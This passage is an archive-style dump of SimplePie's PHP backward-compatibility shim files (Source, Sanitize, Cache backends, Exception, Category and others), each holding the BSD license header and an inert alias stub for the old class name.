 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\XML\Declaration\Parser;

class_exists('SimplePie\XML\Declaration\Parser');

// @trigger_error(sprintf('Using the "SimplePie_XML_Declaration_Parser" class is deprecated since SimplePie 1.7.0, use "SimplePie\XML\Declaration\Parser" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\XML\Declaration\Parser" instead */
    class SimplePie_XML_Declaration_Parser extends Parser
    {
    }
}
library/SimplePie/Source.php000064400000004535151024210710012050 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Source;

class_exists('SimplePie\Source');

// @trigger_error(sprintf('Using the "SimplePie_Source" class is deprecated since SimplePie 1.7.0, use "SimplePie\Source" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Source" instead */
    class SimplePie_Source extends Source
    {
    }
}
library/SimplePie/Sanitize.php000064400000004553151024210710012376 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Sanitize;

class_exists('SimplePie\Sanitize');

// @trigger_error(sprintf('Using the "SimplePie_Sanitize" class is deprecated since SimplePie 1.7.0, use "SimplePie\Sanitize" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Sanitize" instead */
    class SimplePie_Sanitize extends Sanitize
    {
    }
}
library/SimplePie/Cache/MySQL.php000064400000004572151024210710012561 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\MySQL;

class_exists('SimplePie\Cache\MySQL');

// @trigger_error(sprintf('Using the "SimplePie_Cache_MySQL" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\MySQL" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\MySQL" instead */
    class SimplePie_Cache_MySQL extends MySQL
    {
    }
}
library/SimplePie/Cache/Redis.php000064400000001166151024210710012656 0ustar00<?php

/**
 * SimplePie Redis Cache Extension
 *
 * @package SimplePie
 * @author Jan Kozak <galvani78@gmail.com>
 * @link http://galvani.cz/
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 * @version 0.2.9
 */

use SimplePie\Cache\Redis;

class_exists('SimplePie\Cache\Redis');

// @trigger_error(sprintf('Using the "SimplePie_Cache_Redis" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Redis" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Redis" instead */
    class SimplePie_Cache_Redis extends Redis
    {
    }
}
library/SimplePie/Cache/DB.php000064400000004556151024210710012103 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\DB;

class_exists('SimplePie\Cache\DB');

// @trigger_error(sprintf('Using the "SimplePie_Cache_DB" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\DB" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\DB" instead */
    abstract class SimplePie_Cache_DB extends DB
    {
    }
}
library/SimplePie/Cache/Memcached.php000064400000004626151024210710013462 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\Memcached;

class_exists('SimplePie\Cache\Memcached');

// @trigger_error(sprintf('Using the "SimplePie_Cache_Memcached" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcached" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcached" instead */
    class SimplePie_Cache_Memcached extends Memcached
    {
    }
}
library/SimplePie/Cache/Memcache.php000064400000004617151024210710013316 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\Memcache;

class_exists('SimplePie\Cache\Memcache');

// @trigger_error(sprintf('Using the "SimplePie_Cache_Memcache" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcache" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcache" instead */
    class SimplePie_Cache_Memcache extends Memcache
    {
    }
}
library/SimplePie/Cache/Base.php000064400000004573151024210710012467 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\Base;

interface_exists('SimplePie\Cache\Base');

// @trigger_error(sprintf('Using the "SimplePie_Cache_Base" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Base" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Base" instead */
    interface SimplePie_Cache_Base extends Base
    {
    }
}
library/SimplePie/Cache/File.php000064400000004563151024210710012473 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\File;

class_exists('SimplePie\Cache\File');

// @trigger_error(sprintf('Using the "SimplePie_Cache_File" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\File" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\File" instead */
    class SimplePie_Cache_File extends File
    {
    }
}
library/SimplePie/Cache.php000064400000004526151024210710011613 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache;

class_exists('SimplePie\Cache');

// @trigger_error(sprintf('Using the "SimplePie_Cache" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache" instead */
    class SimplePie_Cache extends Cache
    {
    }
}
library/SimplePie/Exception.php000064400000004621151024210710012542 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Exception as SimplePieException;

class_exists('SimplePie\Exception');

// @trigger_error(sprintf('Using the "SimplePie_Exception" class is deprecated since SimplePie 1.7.0, use "SimplePie\Exception" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Exception" instead */
    class SimplePie_Exception extends SimplePieException
    {
    }
}
library/SimplePie/Category.php000064400000004553151024210710012365 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Category;

class_exists('SimplePie\Category');

// @trigger_error(sprintf('Using the "SimplePie_Category" class is deprecated since SimplePie 1.7.0, use "SimplePie\Category" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Category" instead */
    class SimplePie_Category extends Category
    {
    }
}
